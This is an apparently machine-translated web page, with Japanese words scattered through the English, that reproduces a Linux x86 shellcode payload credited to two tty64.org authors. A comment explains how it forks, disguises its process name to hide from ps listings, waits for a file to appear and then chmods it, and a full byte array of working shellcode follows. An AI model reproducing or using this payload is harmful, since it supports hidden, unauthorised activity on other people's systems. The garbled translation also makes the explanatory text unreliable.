このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/*----------------------------------------------------------------------------* * [Mystique 事業/計画(する): Examples of long-称する,呼ぶ/期間/用語 payloads] * * hide-wait-change code * * by xort@tty64.org & izik@tty64.org * *----------------------------------------------------------------------------* * This code, upon 死刑執行, will 成し遂げる the に引き続いて things... * * * * 1) Fork a new 過程, and kill PPID 経由で _exit() so we get inherrited * * by init and now have a new PID. * * 2) Will 得る the 現在の 場所 of argv[0] by retrieving (警察などへの)密告,告訴(状) * * from /proc/self/stat. * * 3) Copy the 指名する we wish to masquarade as into argv[0] in memory. * * 4) Call setsid() to 設立する ourselfs as a 過程 leader. * * 5) Will sleep 経由で nanosleep() for a givin interval of time. * * 6) Will check to see if a とじ込み/提出する 存在する 経由で 接近(). * * 7) If it does not 宙返り飛行 支援する to step 5 * * 8) If it does then we chmod() the とじ込み/提出する with 許可s 0455. * * 9) Calls _exit() * * * * * steps 3-4 effectivly hide us from most ps-listings * * * * size: 187 + strlen(new-proc-指名する) + strlen(とじ込み/提出する-to-change) * *----------------------------------------------------------------------------*/ char shellcode[]= "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x79\x31\xc0\x40\xcd\x80\x5b\x8d" "\x73\x10\xfe\x43\x0f\x99\x31\xc9\xb0\x05\xcd\x80\x93\x6a\x03\x58" "\xb2\xfa\x89\xe1\x29\xd1\xcd\x80\x89\xcf\x01\xc7\x93\xfd\x6a\x20" "\x58\x6a\x0e\x59\x87\xcb\xf2\xae\x87\xcb\xe2\xf8\x47\x47\x31\xc0" "\x6a\x0a\x5b\xfc\x31\xd2\x8a\x0f\x83\xe9\x30\x01\xc8\x47\x80\x3f" "\x20\x74\x04\xf7\xe3\xeb\xed\x94\x5f\x5f\x94\x57\xb1\xff\x31\xc0" "\xf3\xaa\x5f\x56\x4e\x46\x41\x80\x3e\xff\x75\xf9\xfe\x06\x5e\xf3" "\xa4\xb0\x42\xcd\x80\x89\xf7\x92\x48\x89\xc1\xf2\xae\xfe\x47\xff" "\xff\xe7\xe8\x87\xff\xff\xff" "/proc/self/stat\xff" // "xort and izik 激しく揺するs the linux box\xff" // new proc 指名する "/tmp/foo\xff" // とじ込み/提出する to chmod "\x6a" // "\x03" // sleep-time "\x40\x89\xe1\x89\xe3\x34\xa2\xcd\x80\x31\xc9\x89\xf3\x34\x21\xcd" "\x80\x85\xc0\x75\xeb\xb0\x0f\x66\xb9\x6d\x09\xcd\x80\x40\xcd\x80";